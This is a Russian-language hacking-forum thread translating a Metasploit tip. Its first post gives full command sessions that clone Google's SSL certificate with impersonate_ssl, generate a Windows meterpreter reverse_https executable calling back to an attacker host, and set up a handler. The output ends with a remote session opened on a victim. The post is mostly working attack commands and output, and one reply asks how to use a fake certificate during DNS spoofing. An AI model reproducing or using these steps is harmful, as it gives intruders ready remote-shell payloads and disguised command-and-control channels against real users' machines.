Meterpreter SSL использование сертификата (перевод)

Discussion in 'Уязвимости' started by grimnir, 22 Jun 2015.

  1. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    Хочу поделиться с вами простым способом защты вашего подключения через Meterpreter через проверку сертификата.
    Начнем с генерации сертификата в формате PEM. Огромная благодарность за модуль impersonate_ssl ,созданый Chris John Riley ,который позволяет сгенерировать сертификат на основе информации с сайта, используя параметр RHOST в модуле.Это позволяет создать сертификат, который выглядит полностью легитимным.Приведу пример ,я буду использовать Googles SSL чтобы создать мой фейковый
    Code:
    msf > use auxiliary/gather/impersonate_ssl
    msf auxiliary(impersonate_ssl) > set RHOST www.google.com
    RHOST => www.google.com
    msf auxiliary(impersonate_ssl) > run
    
    [*] Connecting to www.google.com:443
    [*] Copying certificate from www.google.com:443
    /C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com
    [*] Beginning export of certificate files
    [*] Creating looted key/crt/pem files for www.google.com:443
    [+] key: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_k_189227.key
    [+] crt: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_c_767214.crt
    [+] pem: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
    [*] Auxiliary module execution completed
    msf auxiliary(impersonate_ssl) > 
    После создания сертификата я могу создать HTTP или HTTPS payload и указать ему путь до сертификата в PEM формате ,который будет использован для проверки соединения. Для этого установим параметр stagerverifysslcert в true а в параметре HANDLERSSLCERT укажем путь до сертификата:
    Code:
    msf > use payload/windows/meterpreter/reverse_http
    msf payload(reverse_http) > set stagerverifysslcert true
    stagerverifysslcert => true
    msf payload(reverse_http) > use payload/windows/meterpreter/reverse_https
    msf payload(reverse_https) > set stagerverifysslcert true
    stagerverifysslcert => true
    msf payload(reverse_https) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
    HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
    msf payload(reverse_https) > set LHOST 192.168.1.211
    LHOST => 192.168.1.211
    msf payload(reverse_https) > set LPORT 8081
    LPORT => 8081
    msf payload(reverse_https) > generate -t exe -f /tmp/payload1.exe
    [*] Writing 73802 bytes to /tmp/payload1.exe...
    После создания exe мне нужно создать соединение и снова я использую ,как в примере выше,PEM сертификат.Так что соединение использует SHA1 хэш для проверки подлинности. Снова укажем в параметре HANDLERSSLCERT путь до сертификата ,а параметр stagerverifysslcert установим в true:
    Code:
    msf payload(reverse_https) > use exploit/multi/handler
    msf exploit(handler) > set LHOST 192.168.1.211
    LHOST => 192.168.1.211
    msf exploit(handler) > set LPORT 8081
    LPORT => 8081
    msf exploit(handler) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
    HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
    msf exploit(handler) > set stagerverifysslcert true
    stagerverifysslcert => true
    msf exploit(handler) > exploit -j
    
    [*] Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
    [*] Exploit running as background job.
    После запуска пейлода на удаленой системе, мы увидим вертифицированую проверку сессии
    Code:
    msf exploit(handler) > [*] Starting the payload handler...
    [*] 192.168.1.104:56107 (UUID: db09abc1d1831687/x86=1/windows=1/2015-06-11T12:28:50Z) Staging Native payload ...
    [*] Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
    [*] Meterpreter session 1 opened (192.168.1.211:8081 -> 192.168.1.104:56107) at 2015-06-11 08:28:51 -0400
    http://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation
     
    _________________________
    afonn, Bilyak, binarymaster and 2 others like this.
  2. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Очень годно.
     
    grimnir likes this.
  3. charmingdate

    charmingdate New Member

    Joined:
    31 Oct 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    а как встроить в apache фейковый сертификат, чтоб при подмене dns он был валидным?
     
  4. Bilyak

    Bilyak New Member

    Joined:
    14 Jul 2008
    Messages:
    22
    Likes Received:
    3
    Reputations:
    2
    полензная инфа.
     
  5. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    Дополню видосом на эту тему: